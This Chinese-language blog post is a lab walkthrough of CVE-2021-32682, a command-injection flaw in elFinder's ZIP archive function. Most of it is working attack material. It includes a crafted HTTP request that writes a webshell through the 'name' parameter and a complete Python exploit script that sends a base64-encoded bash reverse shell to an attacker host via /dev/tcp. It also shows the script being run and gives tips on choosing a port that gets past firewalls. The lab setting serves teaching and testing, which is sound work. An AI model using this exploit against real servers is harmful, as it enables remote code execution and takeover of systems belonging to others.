CVE-2021-32682 是 elFinder 文件管理器在处理 ZIP 压缩功能时存在的任意命令注入漏洞,其触发需满足以下 3 个核心条件:
connector.minimal.php
接口(该接口是 elFinder 后端核心交互入口,负责处理文件操作请求,如创建、压缩、删除文件等),无需额外身份认证或仅需低权限即可调用。archive
命令对应的 name
参数值 —— 该参数在未修复版本中未做严格过滤,允许注入特殊字符与系统命令,为漏洞触发提供入口。connector.minimal.php
接口发送 cmd=archive
请求,同时传递 name
(压缩包名称)、target(待压缩文件标识)、type=application/zip
(压缩格式)等参数。name
参数值直接拼接进系统 zip
命令中,用于生成指定名称的压缩包。例如正常场景下,参数 name=test.zip
会拼接为 zip -r test.zip [待压缩文件路径]
;但由于未对 name
参数进行过滤,攻击者可注入命令分隔符(如 ;
、|
、$()
等)与恶意命令。name
参数(如 -TvTT=id>shell.php # a.zip
),可篡改原始 zip
命令逻辑。其中:-TvTT
是 zip
命令的调试参数,用于输出详细压缩日志;=id>shell.php
会将 id
命令的执行结果写入 shell.php
文件;#
是 Shell 注释符,可忽略后续无关内容(如 a.zip
),确保恶意命令单独执行。www-data
等服务权限执行,攻击者可通过该漏洞实现任意命令执行(如写入 Webshell、反弹 Shell),最终获取目标服务器的低权限控制权,若存在权限提升漏洞,还可进一步获取 root 权限。!quote 参考文档 NextCyber Academy - 任务详情
# 攻击机地址
10.132.1.111
# 靶机地址
10.22.194.49
访问靶机页面:
1.txt
和2.zip
两个文件1.txt
是创建的一个空文本文件,将该文件压缩为2.zip
:
发送如下数据包
GET /php/connector.minimal.php?cmd=archive&name=-TvTT=id>shell.php%20%23%20a.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip HTTP/1.1
Host: 10.22.194.49
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=f1e6da9afce4dfceddb4ebed7f22f142
Connection: keep-alive
成功执行,虽然提示errArchive
:
http://10.22.194.49/files/shell.php
# 回显内容,显示RCE执行成功
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
准备EXPreverse_shell.py
:
import requests
import sys
import base64
def show_usage():
print('Usage: python3 reverse_shell.py <lhost> <lport> <URL>')
print('Example: python3 reverse_shell.py 192.168.2.6 80 http://192.168.2.73:8080/elfinder')
sys.exit(1)
if len(sys.argv) < 4:
show_usage()
lhost = sys.argv[1]
lport = sys.argv[2]
URL = sys.argv[3]
# Build reverse shell command
rev = f'bash -c "/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"'.encode('utf-8')
# Base64 encode to prevent bad characters
payload = f'echo%20{(base64.b64encode(rev)).decode("utf-8")}%20%7C%20base64%20-d%20%7C%20bash'
ENDPOINT = f'/php/connector.minimal.php?cmd=archive&name=-TvTT={payload}%20%23%202.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip'
print("Sending reverse shell payload...")
print("Check netcat listener")
try:
resp = requests.get(URL + ENDPOINT)
# Debug
print(resp.status_code)
print(resp.text)
except requests.RequestException as e:
print(f"An error occurred during the request: {e}")
finally:
print("Finished.")
# 攻击机地址
# 10.132.1.111
# 靶机地址
# 10.22.194.49
python3 reverse_shell.py 10.132.1.111 80 http://10.22.194.49:80
执行命令,结果返回:
> python3 reverse_shell.py 10.132.1.111 80 http://10.22.194.49:80
Sending reverse shell payload...
Check netcat listener
200
{"error":["errArchive"]}
Finished.
!warning 防火墙!!! 回弹的时候一定要注意防火墙问题! 我最开始尝试的是
python3 reverse_shell.py 10.132.1.111 5555 http://10.22.194.49:80
,一直未能回弹成功。 测试后推测是防火墙问题,通常情况下如果80未被占用,可以选用80端口回弹,因为80端口被靶机屏蔽的概率会比较低。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。